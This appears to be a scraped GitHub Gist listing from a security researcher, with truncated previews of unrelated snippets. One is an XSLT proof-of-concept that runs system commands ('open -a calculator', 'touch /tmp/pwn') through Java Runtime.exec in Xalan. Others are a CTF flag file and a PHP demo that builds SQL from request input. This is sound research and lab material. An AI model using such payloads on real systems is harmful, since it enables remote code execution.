sinaimg子域名,跑一遍即可。
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import sseclient | |
url = 'https://note.leavesongs.com/api/events' | |
headers = {'Accept': 'text/event-stream', 'Authorization': 'Token <your API token>'} | |
response = requests.get(url, headers=headers, stream=True) | |
client = sseclient.SSEClient(response) | |
for event in client.events(): | |
print("New %s event: %s" % (event.event, event.data)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package web | |
import ( | |
"context" | |
"errors" | |
"github.com/coreos/go-oidc/v3/oidc" | |
"github.com/hashicorp/golang-lru/v2/expirable" | |
"golang.org/x/oauth2" | |
"time" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"02f002afed6a67ccfb5e11e7a04468c997a3f772":[ | |
"84.0.4114.0", | |
[ | |
] | |
], | |
"02f01a17a700421b28f488f84dabf2e69f163a57":[ | |
"53.0.2785.8", | |
[ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('FLAG', 'flag{y0uW1n}'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | |
<xsl:template> | |
<!-- #113 Methodref: java/lang/Runtime.getRuntime:()Ljava/lang/Runtime; --> | |
<!-- #119 Methodref: java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process; --> | |
<!-- #114 Utf8: open -a calculator --> | |
<!-- #115 String: touch /tmp/pwn --> | |
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/> | |
<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/> | |
<!-- #132 Utf8: <init> --> | |
<AAA select="<init>"/> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
set_time_limit(0); | |
$filename = 'bigfile.txt'; | |
$f = fopen($filename, 'r'); | |
$i = 0; | |
$chunk = 2; | |
$each = 100 / (filesize($filename) / $chunk); | |
while (true) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
from enum import Enum | |
class State(Enum): | |
Initial = 0 | |
D = 10 | |
DRest = 11 | |
S = 20 | |
SRest = 21 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$db = new PDO('sqlite::memory:'); | |
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); | |
$db->exec("CREATE TABLE user (id int, username string, password string);"); | |
$db->exec("INSERT INTO user VALUES(1, 'admin', 'admin');"); | |
$db->exec("INSERT INTO user VALUES(2, 'demo', 'demo');"); | |
$summary = $_REQUEST['field']; | |
$bind_vals = []; | |
$sql_set = ' '; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
root@b3324f24e6c0:/tmp# ./sample.sh -n Bob -a | |
Arg: -n | |
Arg: Bob | |
Bob | |
Arg: -a | |
-a | |
Arg: -- | |
-- |
NewerOlder